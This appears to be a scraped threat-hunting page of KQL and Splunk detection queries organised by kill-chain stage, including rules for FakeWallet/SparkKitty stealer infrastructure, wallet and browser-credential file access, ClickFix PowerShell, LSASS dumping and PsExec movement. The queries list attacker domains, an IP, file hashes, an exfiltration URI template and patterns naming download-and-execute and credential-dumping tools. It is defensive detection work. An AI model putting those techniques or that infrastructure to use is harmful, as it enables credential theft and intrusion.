from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] FakeWallet / SparkKitty C2 infrastructure callout (iosfc.com, 139.180.139.209 et al.)
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Crypto-wallet file/keystore access by non-wallet process · Infostealer — non-browser process accessing browser cookie/login DBs · [LLM] FakeWallet iOS stealer mnemonic exfiltration via specific C2 URI patterns
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("139.180.139.209") or RemoteUrl has_any ("iosfc.com", "www.gxzhrc.cn", "appstoreios.com", "crypto-stroe.cc", "yjzhengruol.com", "6688cf.jhxrpbgq.com", "xz.apps-store.im", "ntm0mdkzymy3n.oukwww.com", "nziwytu5n.lahuafa.com", "zdrhnmjjndu.ulbcl.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("139.180.139.209")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("iosfc.com", "www.gxzhrc.cn", "appstoreios.com", "crypto-stroe.cc", "yjzhengruol.com", "6688cf.jhxrpbgq.com", "xz.apps-store.im", "ntm0mdkzymy3n.oukwww.com", "nziwytu5n.lahuafa.com", "zdrhnmjjndu.ulbcl.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("iosfc.com", "www.gxzhrc.cn", "appstoreios.com", "crypto-stroe.cc", "yjzhengruol.com", "6688cf.jhxrpbgq.com", "xz.apps-store.im", "ntm0mdkzymy3n.oukwww.com", "nziwytu5n.lahuafa.com", "zdrhnmjjndu.ulbcl.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Crypto-wallet file/keystore access by non-wallet processActions on ObjectivesHigh
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Ethereum\keystore\","\Bitcoin\","\Exodus\","\Electrum\wallets\","\MetaMask\","\Phantom\","\Atomic\Local Storage\")
| where InitiatingProcessFileName !in~ ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Ethereum\keystore\*"
OR Filesystem.file_path="*\Bitcoin\wallet.dat"
OR Filesystem.file_path="*\Exodus\exodus.wallet*"
OR Filesystem.file_path="*\Electrum\wallets\*"
OR Filesystem.file_path="*\MetaMask\*"
OR Filesystem.file_path="*\Phantom\*"
OR Filesystem.file_path="*\Atomic\Local Storage\*")
AND NOT Filesystem.process_name IN ("MetaMask.exe","Exodus.exe","Atomic.exe","electrum.exe","Bitcoin.exe","Phantom.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("4126348d783393dd85ede3468e48405d", "b639f7f81a8faca9c62fd227fef5e28c", "d48b580718b0e1617afc1dec028e9059", "bafba3d044a4f674fc9edc67ef6b8a6b", "79fe383f0963ae741193989c12aefacc", "8d45a67b648d2cb46292ff5041a5dd44", "7e678ca2f01dc853e85d13924e6c8a45", "be9e0d516f59ae57f5553bcc3cf296d1", "fd0dc5d4bba740c7b4cc78c4b19a5840", "7b4c61ff418f6fe80cf8adb474278311", "8cbd34393d1d54a90be3c2b53d8fc17a", "d138a63436b4dd8c5a55d184e025ef99", "5bdae6cb778d002c806bb7ed130985f3", "84c81a5e49291fe60eb9f5c1e2ac184b", "19733e0dfa804e3676f97eff90f2e467", "8f51f82393c6467f9392fb9eb46f9301", "114721fbc23ff9d188535bd736a0d30e", "686989d97cf0d70346cbde2031207cbf", "0565364633b5acdd24a498a6a9ab4eca", "417ae7f384c49de8c672aec86d5a2860", "31d25ddf2697b9e13ee883fff328b22f")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("4126348d783393dd85ede3468e48405d", "b639f7f81a8faca9c62fd227fef5e28c", "d48b580718b0e1617afc1dec028e9059", "bafba3d044a4f674fc9edc67ef6b8a6b", "79fe383f0963ae741193989c12aefacc", "8d45a67b648d2cb46292ff5041a5dd44", "7e678ca2f01dc853e85d13924e6c8a45", "be9e0d516f59ae57f5553bcc3cf296d1", "fd0dc5d4bba740c7b4cc78c4b19a5840", "7b4c61ff418f6fe80cf8adb474278311", "8cbd34393d1d54a90be3c2b53d8fc17a", "d138a63436b4dd8c5a55d184e025ef99", "5bdae6cb778d002c806bb7ed130985f3", "84c81a5e49291fe60eb9f5c1e2ac184b", "19733e0dfa804e3676f97eff90f2e467", "8f51f82393c6467f9392fb9eb46f9301", "114721fbc23ff9d188535bd736a0d30e", "686989d97cf0d70346cbde2031207cbf", "0565364633b5acdd24a498a6a9ab4eca", "417ae7f384c49de8c672aec86d5a2860", "31d25ddf2697b9e13ee883fff328b22f")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
[LLM] FakeWallet iOS stealer mnemonic exfiltration via specific C2 URI patternsActions on ObjectivesHigh
Hunts the article-specific HTTP exfil endpoints used by the FakeWallet trojanized wallet modules to send RSA+Base64 encrypted seed phrases to attacker C2. Targets the verbatim URI patterns 'postByTokenPocket?ciyu=' (used across multiple wallet variants despite the path naming) and '/ledger/ios/Rsakeycatch.php' (the Ledger module endpoint). Catches BYOD/guest-network iPhones and any desktop traffic that touches the same infrastructure.
Rationale: The article gives the literal exfil URI template 'POST <c2>/api/open/postByTokenPocket?ciyu=<b64>&code=10001&ciyuType=1&wallet=ledger' and the Ledger module endpoint '/ledger/ios/Rsakeycatch.php'. These strings are unique enough that any match is virtually guaranteed to be FakeWallet exfil; The Hacker News and BleepingComputer reproductions confirm both endpoints.
Cross-checked against:
• https://thehackernews.com/2026/04/26-fakewallet-apps-found-on-apple-app.html
• https://www.bleepingcomputer.com/news/security/chinas-apple-app-store-infiltrated-by-crypto-stealing-wallet-apps/
• https://www.securityweek.com/dozens-of-malicious-crypto-apps-land-in-apple-app-store/
• https://securelist.com/sparkkitty-ios-android-malware/116793/
ATT&CKT1056.002T1041T1573.002
Data sourcesWeb
DeviceNetworkEvents
| where ActionType in ("ConnectionSuccess","HttpConnectionInspected")
| where RemoteUrl has_any ("postByTokenPocket", "Rsakeycatch.php")
or RemoteUrl matches regex @"ciyu=[^&]+&code=\d+&ciyuType=\d+&wallet=(ledger|metamask|trust|coinbase|tokenpocket|imtoken|bitpie|okex)"
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessAccountName, RemoteUrl, RemoteIP, RemotePort, ActionType
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.uri_query) as uri_query values(Web.http_user_agent) as ua values(Web.user) as user values(Web.dest) as dest from datamodel=Web where Web.http_method=POST AND (Web.uri_path="*postByTokenPocket*" OR Web.uri_path="*Rsakeycatch.php*" OR Web.uri_query="*ciyu=*ciyuType=*wallet=*") by Web.src Web.dest Web.uri_path | `drop_dm_object_name(Web)` | convert ctime(firstTime) ctime(lastTime)
Alerts on any DNS resolution or network connection to the FakeWallet C2 / phishing-distribution infrastructure published in the Securelist report. Catches both the in-app trojan beaconing (e.g. iosfc.com hosting Rsakeycatch.php) and the upstream provisioning-profile distribution domains masquerading as the App Store / Ledger site (appstoreios.com, crypto-stroe.cc, xz.apps-store.im).
Rationale: Domains (iosfc.com hosts the Ledger Rsakeycatch.php endpoint per the config snippet; appstoreios.com / xz.apps-store.im / crypto-stroe.cc are the provisioning-profile distribution lures) and the IP 139.180.139.209 are pulled directly from the article's IoC list and are corroborated in The Hacker News and BleepingComputer write-ups. None of these domains have legitimate enterprise use, so a match is high-fidelity.
Cross-checked against:
• https://thehackernews.com/2026/04/26-fakewallet-apps-found-on-apple-app.html
• https://www.bleepingcomputer.com/news/security/chinas-apple-app-store-infiltrated-by-crypto-stealing-wallet-apps/
• https://www.kaspersky.com/about/press-releases/kaspersky-finds-26-fake-crypto-wallet-apps-on-apples-app-store-that-can-drain-digital-assets
• https://securelist.com/sparkkitty-ios-android-malware/116793/
ATT&CKT1071.001T1568T1583.001
Data sourcesNetwork_ResolutionWebNetwork_Traffic
let fakewallet_domains = dynamic(["iosfc.com","gxzhrc.cn","appstoreios.com","crypto-stroe.cc","yjzhengruol.com","jhxrpbgq.com","apps-store.im","oukwww.com"]);
let fakewallet_ips = dynamic(["139.180.139.209"]);
DeviceNetworkEvents
| where ActionType in ("ConnectionSuccess","DnsConnectionInspected","HttpConnectionInspected","ConnectionAttempt")
| where RemoteIP in (fakewallet_ips)
or RemoteUrl has_any (fakewallet_domains)
| project Timestamp, DeviceName, DeviceId, InitiatingProcessFileName, InitiatingProcessAccountName, RemoteUrl, RemoteIP, RemotePort, ActionType
| sort by Timestamp desc
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(DNS.answer) as answers values(DNS.record_type) as record_type from datamodel=Network_Resolution where DNS.query IN ("iosfc.com","*.iosfc.com","www.gxzhrc.cn","gxzhrc.cn","appstoreios.com","*.appstoreios.com","crypto-stroe.cc","*.crypto-stroe.cc","yjzhengruol.com","*.yjzhengruol.com","6688cf.jhxrpbgq.com","*.jhxrpbgq.com","xz.apps-store.im","*.apps-store.im","ntm0mdkzymy3n.oukwww.com","*.oukwww.com") by DNS.src DNS.query | `drop_dm_object_name(DNS)` | append [| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.dest="139.180.139.209" by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)`] | convert ctime(firstTime) ctime(lastTime)
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
